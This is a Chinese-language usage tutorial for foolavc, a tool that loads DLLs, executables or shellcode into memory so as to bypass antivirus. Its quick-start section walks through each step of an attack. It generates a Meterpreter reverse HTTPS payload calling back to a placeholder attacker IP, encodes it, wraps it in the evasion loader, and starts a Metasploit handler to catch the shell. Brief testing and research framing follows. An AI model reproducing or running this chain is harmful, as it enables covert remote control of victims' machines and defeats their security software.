foolavc 项目使用教程

foolavc 项目使用教程

foolavcfoolav successor - loads DLL, executable or shellcode into memory and runs it effectively bypassing AV 项目地址:https://gitcode.com/gh_mirrors/fo/foolavc

1、项目介绍

foolavc 是 foolav 项目的延续，旨在加载 DLL 可执行文件或 shellcode 到内存中并运行，从而有效绕过防病毒软件。原 foolav 仅提供 x86 可执行文件，并使用单一编码方式处理外部保存的负载文件。foolavc 则支持 x86 和 x86_64 架构，允许使用内部（内置）或外部负载，这些负载可以以 shellcode、DLL 或可执行文件的形式解释。

2、项目快速启动

快速启动步骤

1. 克隆项目仓库

   git clone https://github.com/hvqzao/foolavc.git
   cd foolavc
   

2. 创建 Meterpreter 可执行文件

   msfvenom -p windows/x64/meterpreter_reverse_https LHOST=__ATTACKER_IP__ LPORT=8443 -f exe -o met64.exe
   

3. 编码生成的可执行文件

   python m-encode.py met64.exe
   

4. 使用 foolavc 作为加载器

   cp x64/Release/foolavc.exe met64.exe
   

5. 创建 Metasploit 脚本

   echo >msf.rc <<EOF
   use exploit/multi/handler
   set payload windows/x64/meterpreter_reverse_https
   set LPORT 8443
   set LHOST 0.0.0.0
   set ReverseListenerBindAddress 0.0.0.0
   set AutoRunScript migrate -f
   show options
   run -j
   EOF
   

6. 启动 Metasploit 控制台

   msfconsole -qL -r msf.rc
   

3、应用案例和最佳实践

应用案例

foolavc 可以用于测试和评估防病毒软件的检测能力，也可以用于教育和研究目的，帮助安全研究人员了解和分析恶意软件的行为。

最佳实践

• 环境隔离：在隔离的环境中运行 foolavc，以避免对生产环境造成影响。
• 权限控制：确保运行 foolavc 的用户权限最小化，以减少潜在的风险。
• 日志记录：启用详细的日志记录，以便在出现问题时进行调试和分析。

4、典型生态项目

foolavc 通常与以下项目结合使用：

• Metasploit Framework：用于生成和处理 Meterpreter 负载。
• Python 脚本：用于编码和处理负载文件。
• 虚拟机和容器：用于隔离运行环境，确保安全测试不会影响主机系统。

通过结合这些工具和项目，foolavc 可以更有效地进行安全测试和研究。

foolavcfoolav successor - loads DLL, executable or shellcode into memory and runs it effectively bypassing AV 项目地址:https://gitcode.com/gh_mirrors/fo/foolavc